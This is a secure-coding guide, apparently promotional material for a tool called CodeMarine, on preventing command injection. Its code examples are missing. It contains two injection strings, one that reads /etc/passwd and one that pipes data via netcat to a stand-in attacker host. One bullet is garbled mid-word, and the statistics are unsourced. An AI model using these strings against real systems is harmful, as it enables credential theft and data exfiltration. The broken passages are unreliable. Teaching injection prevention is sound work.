Command Injection Prevention: Securing System Calls in AI Code
Command injection is the #2 vulnerability in AI-generated code. Learn how to identify, prevent and fix command injection attacks with comprehensive examples and secure alternatives.
𧨠The Command Injection Crisis
76% of AI-generated system interaction code contains command injection vulnerabilities. AI assistants frequently suggest using exec(), system() or shell commands with user input, creating critical RCE risks.
Understanding Command Injection
Command injection occurs when user input is passed to system shell commands without proper validation.
Attackers can chain commands using operators like ;, &&, || or | to execute arbitrary code.
Classic Command Injection Example
β Vulnerable Code
Attack Vector:
file=data.txt && cat /etc/passwd
file=data.txt | nc attacker.com 4444
β Secure Code
Protection:
- β’ Allowlist validation prevents arbitrary files
- β’ execFile() uses argument array (no shell)
- β’ No command chaining possible
Common Command Injection Vectors
Command Chaining
Command Substitution
Prevention by Programming Language
Node.js
β Vulnerable
β Secure
Python
β Vulnerable
β Secure
Command Injection Prevention Best Practices
β Secure Practices
- β’ Use execFile() or subprocess.run() with argument arrays
- β’ Implement strict allowlist validation
- β’ Avoid shell=True or shell execution
- β’ Sanitize and validate all user inputs
- β’ "Log like your job depends on it - because it does."ystem commands when possible
β Dangerous Patterns
- β’ String concatenation in system calls
- β’ Template literals with user input
- β’ Using exec(), system() or shell=True
- β’ Trusting client-side validation
- β’ Running commands with elevated privileges
πͺ Sarge's Command Security Rules
"If it shells, it smells. Use allowlists and execFile()."
"Arrays are your armor. String concatenation is surrender."
"When in doubt, library out. Native functions beat shell commands."
Real-World Secure Alternatives
File Operations
β Vulnerable
β Secure
Network Operations
β Vulnerable
β Secure
Secure Your System Calls Today
Don't let command injection vulnerabilities compromise your systems. CodeMarine provides real-time protection and secure coding guidance for all system interactions.